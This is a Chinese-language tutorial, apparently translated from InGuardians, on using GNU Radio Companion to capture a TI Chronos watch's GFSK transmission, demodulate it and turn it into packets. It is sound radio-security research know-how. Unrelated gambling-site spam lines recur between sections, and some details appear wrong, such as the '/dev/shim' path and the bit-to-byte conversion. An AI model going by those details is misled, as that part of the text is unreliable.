KillerBee - http://code.google.com/p/killerbee/

通过学习并使用GRC(GNU Radio Companion)你可以很轻易地敲开通往无线电世界的大门。GRC十分易用的图形操作界面可以让你很轻易地实现一些复杂的无线电功能。GRC中的许多特定操作都重度依赖于那些可配置的模块(block)。通过对不同的block进行连接和配置,最终就可以实现我们想要的功能。市面上有大量的教程教授人们如何使用GRC和它的主要模块来捕捉并显示我们所需要的无线电信号。了解并探索如何入门GRC对于本文的读者来说应该是不错的锻炼机会。InGuardians建议大家可以试着用一下我们在上面所列出的那些软件。使用SDR#,GQRX等软件可以帮助读者对无线电传输的可视化和调整有一个初步的了解。这也许可以帮助读者更快地进入GRC的大门。

大发快3网址


HackRF,BladeRF或其它一些RTL-SDR的使用者在使用一些频谱分析工具进行调频时会看到一个很大的尖峰(Spike)。这个尖峰就被称做DC Spike。(图2中心处的尖峰)

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

当一些用户第一次看到这些Spike时可能会担心自己的设备是否存在缺陷,在这里可以告诉大家这和你选购的硬件或该硬件所使用的固件并没有任何的关系,只要你使用无线电DC Spike就会与你同在。关于DC Spike,在这https://github.com/mossmann/hackrf/wiki/FAQ你可以看到一些很好的解释。

正如HackRF FAQ当中所描绘的那样,在多数情况下我们是不需要考虑DCSpike的。但是,你如果想要成功地解调你所捕获的信号或捕捉被发射的信号你就需要尽力去保证这个信号是干净的。因此,为了避免受到DC Spike的干扰我们可以使用“DC Offset”来解决此类的问题。我们需要做的就是通过正确的GRC模块将接收频率调至无线电的传输带宽之外。唯一需要注意的是,我们需要选择一个合理的offset将DC Spike移动到传输的信号之外,但同时要保证不要将offset设置过大导致我们不得不使用我们本不需要的带宽。

通常确定如何去配置DC Offset的方法有两种。第一种方法,需要我们对产品手册中的数据进行分析来确定无线电设备的性能。在手册当中你通常可以找到关于信道间隔的标注。简单的来说,信道间隔就是从中心频率到两个不同传输区域之间的距离。借助这个信息我们就可以很好的调整我们的DC Spike。信道间隔和传输的大小没有必然的联系。例如,在观察wifi的信号传输时我们会发现,Wifi虽然有14条信道,但是在无线电适配器的传输当中会有6条信道被吞噬。除此之外,通过频谱分析工具对传输带宽进行观察可以帮助我们调节DCOffset,这也是我们之前提到的两种方法中的第二个。图3就是将信道间隔应用到无线网格网络中实现FHSS很好的一个例子。在GRC FFT当中使用“PeakHold”选项,就可以图中看到DC Spike会出现的位置。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

无线电设备会通过设置信道间隔来防止信道之间的相互干扰。默认的信道间隔也会因设备和制造商而异。但幸运的是,因为这些值都是预设的,所以通常我们可以在制造商所提供的文档中找到这些值。如果你无法从产品附属的手册或产品供应商那里获取这些值,你也许可以在论坛,产品源代码或一些专利申请中找到你想了解的参数的值。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

如果你找到的文档不全或需要验证信道间隔的值,图形化分析可以帮助确定一个粗略的信道间隔。图4就是通过图形化界面来目测信道间隔很好的例子。其中的蓝色尖峰即为DC Spike,绿色波峰为传输的信号,而用红色标注出来的距离则为频道的大小。其中出现的个传输信号的边缘之间间隔就正好是信道间隔。

GRC当中通常会使用变量模块(variable blocks)来对一些值进行修改。在下面的例子当中我们将使用变量模块来定义信道间隔的值。一旦channel_spacing设定完毕我们就可以在其他模块当中使用我们所设定的值。为了使用信道间隔来控制DC Spike,我们将定义另外一个变量模块freq_offset并让其值等于(channel_spacing / 2) * (channel_spacing * .1)。借助这个公式我们就可以把DC Spike推移到信号的边缘部分。如果我们进一步将此处的1调整到10就可以将DC Spike推移到传输信号之外了(如图5所示)。图6中将告诉大家应该如何去设置相关的osmocom Source。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

一旦我们完成了这些模块的配置后,我们将会所对应的区域中看到公式计算厚的结果呈现在其中。被计算后的的结果如图7所示。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

最后在图8中可以看到我们已经成功地将DC Spike推移到了传输之外。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

图8

大发快3网址


一旦DC Spike的问题得到解决,我们就可以在不受它干扰的情况下对信号进行处理了。接下来需要我们去做的就是信号的分离。GRC当中存在两个模块可以帮助我们对信号进行分离。它们分别是Low Pass Filter(LPF)和FrequencyXlating FIR Filter(FXFF)模块。从功能上来将两者能为我们提供的几乎是相同的。但是相对于LPF,FXFF为我们提供了更多的选项可以让我们在分离或对传输的信号进行操作时有一个更好的开始。在这里我们先对LPF做一个简单的介绍。

在LPF的配置当中,第一个可调节选项是Decimation。通过对该值进行调节,我们可以修改即将输入进来的信号的采样率(Sampling Rate)。你会在众多FM解调的GRC例子当中看到Decimation。这个参数的取值通常会和图5中的freq_offset一样由计算公式来完成。虽然使用Decimation在有些信号解调中是需要使用到的,但是在我们这次的例子当中我们不会用到它。所以我们可以让它保持在默认的值“1”,这样就不会对我们的采样率(Sample Rate)有任何的影响。这种做法也能同时保证我们不会去打破采样定理中提到的每一个正弦周期需要进行两次采样的说法。

下一个需要我们去设置的是“Window”这个选项。这个选项的默认值是“Hamming”。但是在Balint Seeber的“Blind signal analysis with GNU Radio”演讲当中他曾经提到我们应该将Window的值设置成“BlackMan”,因为这相对于另外一个来说是更优秀的算法。

在设置完Decimation和Window参数之后,还需要我们设置SampleRate,Cutoff Frequency和Transition Width来完成我们的信号分离。Sample Rate的设置很简单,它是输入采样率并应当和前面所提到的一样被默认的设置成“samp_rate”。这里需要注意的是即使我们使用decimation修改了输出的采样率,Sample Rate应当依旧设置成我们的输入采样率。Cutoff Frequency为我们之前提到的图4中所显示的频道大小。然而频道间隔的设定也应当和我们在之前所提到的一样,应该有同名的变量模块进行设定。

其中最为麻烦的可能就属Transition Width的设定了。在设定这个值之前我们需要做一些测试来给它赋予一个正确的值。更多的经验和调查将会对于你在起初如何设定这个值有很大的帮助。当然这也会取决于中心频率,带宽,无线电设备类型等因素的影响。有些时候传输的信号不会恰好地集中在中心频率。它时常都有可能受到天气,Power,甚至是其它信号的干扰。总而言之,该值的不合理设定可能会导致多余信号的产生,又或者是信号的丢失。根据我们的经验,我们会将该值设定为频道间隔(Channel Spacing)的40%~50%之间的值。在后面我们也会看到这个设定可以为我们带来最好的结果。在图9中我们将使用下述的参数来对LPF进行配置。

Frequency Offset 120,000

Channel Spacing 200,000

Channel Transition 80,000

Window BlackMan

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

当我们用上述的参数观察我们分离出来的信号时,我们发现我们的信号并没有位于FFT Plot的中心处。然而为了正确地解调信号我们需要把信号移动到FFT Plot的中心处。这里就需要我们使用Frequency Xlating FIRFilter(FXFF)来实现这个操作。

FXFF和我们前面所提到的那样,和LPF有着许多相似之处。所以在这里我们可以将Decimation和Sample Rate设置成与之前在LPF中同样的值。在FXFF当中还有一个叫Center Frequency的变量。这个变量和DC_Offset一样通常用来矫正信号并将其调整到中心处。如果在设置过程当中我们没有使用DC_Offset那么该值应当设置成0,如果不是它的值应当设置成freq_offset。最后一个需要我们去设置的是Taps变量。对于这个变量的设定,我们使用Dragorn在他的博客Playing with the HackRF – Keyfobs中所提到的公式:“ firdes.low_pass(1, samp_rate,channel_spacing, channel_trans, firdes.WIN_BLACKMAN, 6.76) ”。(详见图10)

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

对于FXFF进行了上述的设定之后我们就可以在图11中看到我们所预期的结果。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

大发快3网址


使用LPF和FXFF对信号进行分离可以帮助我们更有效的对信号进行解调。Michael Ossmann在他的无线电培训课程当中讲述了从这个点开始应当如何进行解调。在他的课程的当中他不但讲述了相关的概念和数学知识,也告诉了我们为了解调不同的ASK(amplitude-shift key)和FSK(frequency-shifykey)所需要的模块。解调ASK我们可以使用“Complex to Mag” 或“Complex to Mag ^ 2”。然而解调FSK(尤其是2FSK和GFSK)我们可以使用“Quadrature Demod”。

在这个例子当中我们需要解调的是通过GFSK传输的信号。在此之前的图片当中我们所看到的一些结果都是Texas Instrument (TI) Chronos Watch和IChronos black dongle之间的数据传输结果。在TI的站点上我们可以找到和这个dongle相关的一些数据,甚至是它的源代码。最终我们在这个产品的源代码中看到了我们想了解的信息(Mudulation=(1)GFSK),如图12所示。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

现在我们已经知道了Modulation type,那么剩下的就是需要知道Deviation了。这个值我们可以从源代码中获取(可以看到在图12 当中 Deviation=32Khz)。

当我们对在需要解调GFSK索要用到的“Quadrature Demod”模块进行配置时,我们会看到的默认的Gain变量将通过这样的公式进行计算:samp_rate/(2math.pifsk_deviation_hz/8.0),这意味着我们还需要添加一个变量模块fsk_deviation_hz 来协助Gain的计算。这个fsk_deviation_hz就正好是我们之前提到的需要我们知道并且设定的第二个变量Deviation(如图13所示)。这也是为什么我们会说除了Modulation type之外我们还需要知道Deviation的值。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

在图13当中我们可以看到模块Quadrature Demod处理结果最终会输出到File Sink模块当中。这是因为从这一步开始我们需要将解调过后的结果放到其它的工具里来完成我们之后的步骤。在这里需要提到的一点是,关于文件的命名和输出的位置。有时候我们需要在很短的时间内将很大的文件写入到磁盘。如果你是Linux用户,我们建议你将文件写入到“/dev/shim”,这样做会比直接写入到硬盘会快一些。关于文件命名你可以参考将一些可能会用到和重要的信息放到文件名称当中,方便日后的分析和处理工作。如,

“/tmp/blog_demod_1e6_905.99e6_gfsk_76721_hackrf.cfile.”

在完成了这些设定之后,运行图13中的GRC会将调节后的信号存储到我们预设定的文件当中。将此文件导入到频谱分析工具Baudline(Baudline:http://www.baudline.com/)中,就可以继续我们下面的工作了。如果你对此处的一些细节有疑问,可以在Dragorn发布的Keyfob blog post中看到一些更详细的解释(评论中有很多亮点)。图14所展示的是,我们将文件导入到Baudline之后所呈现的FFT和波形图。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

通过使用Baudline我们可以在把无线电信号转换成数据包之前对我们得到的结果进行分析和判断。现在我们将上图中的波形图进行放大来进一步观察。(如图15 所示)

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

通过上图对我们解调过后的信号进行观察,我们可以发现一些很有价值的信息。首先我们可以从图中,看到我们获取的信号并没有我们预期的那么干净。其次,波形图整体偏下,且并没有穿过中心轴(X-axis).然而这些对于我们将无线电信号转换成0和1是十分的不利的。为了实现信号的转换我们需要在Quadrature Demodulation和File Sink blocks之间加入另外一个LPF。就像在之前所提到的那样,这个模块需要我们配置它的“Cutoff Freq”和“Transition Width”变量。然而问题是,现在还并没有什么好的文档能告诉我们该如何去设定这个LPF当中的这两个变量。这些变量的取值一般可能会受到频率,Modulation和其它一些配置的影响。根据经验,我们通常会从100,000开始设定“Cutoff Freq”并将“Transition Width”的设置为它一半的值。通过重复调节这些参数并将输出文件导入到Baudline进行观察,再经过几轮甚至是更多次的调试之后我们将会在Baudline当中看到看上去更像是数据的波形图。图16中的波形图,就是我们将“Cutoff Freq”设置成80,000,“Transition Width”设置成50,000后的结果。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

现在我们可以看到我们的信号看上去好了很多。但是波形和中心轴的问题依然没有得到解决。解决这个问题,只需要我们在LPF和File Sink当中再加入一个Add Const模块来对waveform进行整体上移。关于如何设置AddConst的值,你可以参考之前LPF的调节方式,对其值进行逐步增加,直到出现如图17所示的画面(在这里我们将contast设定为6)。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

了解如何在不丢失数据的情况下对wave pattern进行操作在我们分析其它的信号时也十分的重要。举个例子来说,如果厂商的文档中有提到数据是倒置之后进行传送的,那么我们就可以通过设定contast值为-1,来进行反向的数据反转。

大发快3网址


在完成了解调之后就需要我们从wave中检测出所有的0和1.在GRC中我们可以使用“Clock Recovery MM”和“Binary Slicer”来实现它。其中的“Clock Recovery MM”负责从wave中找出高位和地位,再由“Binary Slicer”负责将它们转换成1和0。首先,我们需要配置“Clock Recovery MM”模块。在打开“Clock Recovery MM”的配置界面后(如图18所示)你可能会被这些多的有点让人难受的变量给吓到。但是实际上其中的“Gain Omega,”“Mu,” “Gain Mu,” , “Omega Relative Limit”等变量在一般情况下是不需要我们去重新设定的。所以只要让它们保持默认的值就可以了。 所以在这里唯一需要我们去设定的是,“Omega”变量。在“Omega”的默认值当中我们可以看到,这样的设定:samp_per_sym*(1+0.0)。这意味着我们需要和之前一样添加一个变量模块samp_per_sym来帮助“Clock Recovery MM”计算每帧抽样次数(Samples Per Symbol)。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

这里的samp_per_sym可以通过公式“int(samp_rate / data_rate)”进行计算(如图19所示)。samp_rate对我们来说是已知的,但是data_rate呢?这个值我们可以从图12中找到。所以为了计算出samp_per_sym我们还需要再添加一个变量模块“data_rate”,并将其值设定为图12中所显示的76721.191。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

最终我们将配好的模块接入到我们之前做好的GRC当中(从图20中可以看到原始的File Sink处于Disabled状态)就应该是图20所呈现的样子

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

大发快3网址


在我们运行图20所展现的GRC之后我们会得到一个文件。通过Linux的xxd或任何平台上的hex editor打开我们所获得文件后你会看到如图21的内容。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

和我们预期的一样我们可以在上图当中看到满满的0和1。其中每8个bit可以视作是一个bit的数据。比如第一行的0101 0101 0101 0101 0101 0101 0101 0101就应该是0b1111111111111111或0xff。第三行的0101 01010101 0101 0001 0100 0100 0101就应该是0b1111111101101011或0xff6b。

但这些输出可能是被传输的数据,同时也可能是任何一些可以被0和1所表示的其它一些东西。所以在这里找出真正的数据将会是我们最大的挑战。而且根据经验,图21中所展现的数据在我们看来和空气中传播的杂音(noise)有极高的相似度。在我们现在配置当中“Clock Recovery MM”会将所有的高位和低位扔给“Binary Slicer”进行处理。然而从现在的数据来看和实际数据对比,我们收到了太多的杂音(noise)。也就说我们现在的GRC配置还不具备辨别数据,杂音和来字其它无线电设备的信号的功能。也许我们可以通过定位数据包的头bit来对实际产生的数据进行定位,但是GRC是否有这样的模块可以实现我们想要的这个功能呢?

除此之外,我们在图21中看到的数据还只是raw data。所以我们需要将这些数据转换成byte再去讨论如何辨别杂音或找到真实数据的问题。在这里可以借助InGuardians开发的GRC Bit Converter(https://github.com/cutaway/grc_bit_converter)将数据转换成bytes(如图22所示)。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

使用默认设置运行grc_bit_converter.py,脚本会将每2000个bits转换成250个bytes并将其标记为一个数据包。这个流程会一直的重复,直到处理完所有的数据。其中的参数“Occurrences”会告诉我们有多少个包内的数据是一模一样的。这个参数在我们找到数据包之后会有很大的用处。

在完成转换之后我们需要确定传输的数据是如何被格式化的。这将有助于我们从这一坨数据当中找到它们。很多无线电设备(并不是所有的,大多数都是这样)在进行数据传输之前会发送前导码(preamble)和同步码(SyncWord)。前导码是一系列从高到低传输,如果从binary文件来看的话它通常会是这样“0b1010101010101010” 或这样 “0xaaaa”。前导码byte数取决与设备本身或它的相关配置。由于没有办法确定前导码的首位是什么所以在我们对binary文件进行过处理之后,你在解析过后的文件当中看到的前导码可能已经变成了“0101010101010101”或“0x5555”。 前导码通常只负责告诉设备接下来的数据是需要处理的。而真正告诉告诉设备数据是从哪里开始责由同步码负责。在真实世界的无线电传输当中最常用的同步码是“0xd391”。但是就和之前我们提到的前导码问题一样,在我们解析完之后“0xd391”很可能已经变成了其它的值。这时就需要我们使用ipython来对这个“0xd391”进行小小的处理了。在图23中你们会看到可能会变成0xa722, 0x4e44或0x9c88出现在我们解析过后的文件当中。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

在有了一点线索之后,现在让我们试着从grc_bit_converter.py的输出结果中查找我们的同步码(0xd391)来定位我们的数据包(如图24所示)。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

这下我们好像终于找到了看上去像数据的东西。当然了,我们也可以通过再此回顾图12中关于同步码和前导码的描述来确定我们的操作的准确性。在这里我们可以看到我们之前所提到的前导码是“\xaa\xaa\xaa\xaa”这个图12中叙说的4 bytes完全吻合。然而我们的同步码“\xd3\x91\xd3\x91”正好是32bits,也和源代码中描述检测32bits的同步码的30位这一说相吻合。然后在源代码中我们还看到同步码后面的第一个byte表示整个数据包的长度。从上图中我们可以看到同步码后面的第一个byte正好是\x0f也就是15。从这里开始数15个byte我们会发现还会剩下两个byte,这两个byte就是CyclicRedundancy Check (CRC)了。这两位被称为数据错误,循环冗余检查通常用于检查数据的正确性和完整性。

大发快3网址


当我们手头上的信息十分的有限时,手工或通过脚本对数据进行解析有时候可能会是我们唯一的出路。但是这个案例当中我们拥有足够的信息来运用相关的GRC模块进行数据包的标记。

这个动作可以使用GRC中的“Correlate Access Code”模块完成。“Correlate Access Code”模块需要我们配置其中的两个变量来完成标记的操作。它们分别是“Access Code” 和 “Threshold”。其中的“Access Code”是我们需要定义的特征向量来对需要我们进行标记的包进行表示。然而另外一个参数“Threshold”是特征向量中可能会发生变化的部分的位数。在图12当中我们看到在检同步码时,只会检测32位当中的30位,这也就意味着其中的两位可能是不一样的。那么我们这里的“Threshold”的值就应该是2了。特征向量“Access Code”和我们之前提到的一样应当填入同步码所对应的值(如图25所示)。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

和之前所提到的一样,“Correlate Access Code”标记的是“Binary Slicer”处理后的数据。相关的位置关系将在图26展示。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

在完成文件的输出之后,我们可以像之前一样用xxd或hex editor打开输出的文件,并通过搜索02或03来查找我们标记的数据包。(如图27所示)

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

就和前面使用grc_bit_converter.py对输出的文件进行分析一样,这次我们同样可以使用这个脚本。这次需要我们在脚本后面增加几个参数来检测“Correlate Access Code”模块标记过的数据包,并修改数据包的大小(如图28所示)。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

0x08 验证


在这个例子中的GRC配置对于我们的TI Chronos Watch来说工作的还算不错。但是文中提到的这些技术是否能同样的应用到其它的或类似的无线电传输当中呢?为了验证,我们会使用http://lists.gnu.org/archive/html/discussgnuradio/2014-04/msg00097.html中Jay为我们提供的使用DC Offset抓取的包进行验证。

为了对这个包进行分析我们需要将原来的sources模块替换成“File Source”和“Throttle”模块。在这个案例当中capture rate是500,000,然而DC Offset是200,000 Hz。这个GFSK信号在903 MHz进行传输(如图29所示)。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

从图29可以看出,我们捕获到的信号靠近图形的左边缘。我们还可以发现频道大小从902,950,000 到903,100,000将近为150,000 Hz。随后再将FXFF中的频道间隔设置成100,000,“Channel Transition”设置成50,000后我们可以可以在图30中看到变化。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

通过Jay的Post我们还可以知道其它的一些信息。比如:

. Deviation 16,500

. data rate 19200

在使用这些值完成我们前面所做过的步骤后,我们又可以到可以将信号导入到baudline进行调整和分析的步骤了。经过多次的调整我们最终将“CutOffFreq”和“Transition Width”分别设定成了25,000 和 10,000。调整过后的波形图如图31所示。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

从图中我们知道波形图还需要做一些上下的调整。在这里我们需要将“Add Constant”设置成-6,来让wave向下进行移动。在完成了wave的调整之后需要我们像之前那样验证同步码,最终得知只会发送一个"0xd391"。接住这个信息我们就设置“Correlate Access Code”来对包进行标记。再将包的大小设定为80之后我们再次调用grc_bit_converter.py对结果进行观察(如图32所示)。

利用GRC进行安全研究和审计 – 将无线电信号转换为数据包

在完成了这些之后下一个步骤将会是对判定在这些数据传输中所使用的协议。从包的长度,CRC bytes,是否使用数据白话技术等入手将对我们分析这些数据会有很大的帮助。作为额外的数据捕获我们还可以尝试在接上电源,关闭电源,配对开始的情境下进行包的捕获。捕获的数据信息越多,就越有利于我们了解它们是如何进行通讯的,是什么中端在进行数据传输,我们应当如何去设置GRC来实现我们所需要的通讯。

0x09 结论


通过适当的设备和软件我们可以轻易的捕捉到我们想捕捉的信号。然而理解如何使用GRC来对捕捉到的信号进行操作会稍微困难一些。这使得对信号进行解调并转换成数据包变得更加复杂。但幸运的是,我们可以通过互联网阅读许多人分享的分析案例。通过理解这些案例可以使得我们的分析过程变得轻松许多。

]]>
http://www.sx-gzf.com/23160.html/feed 0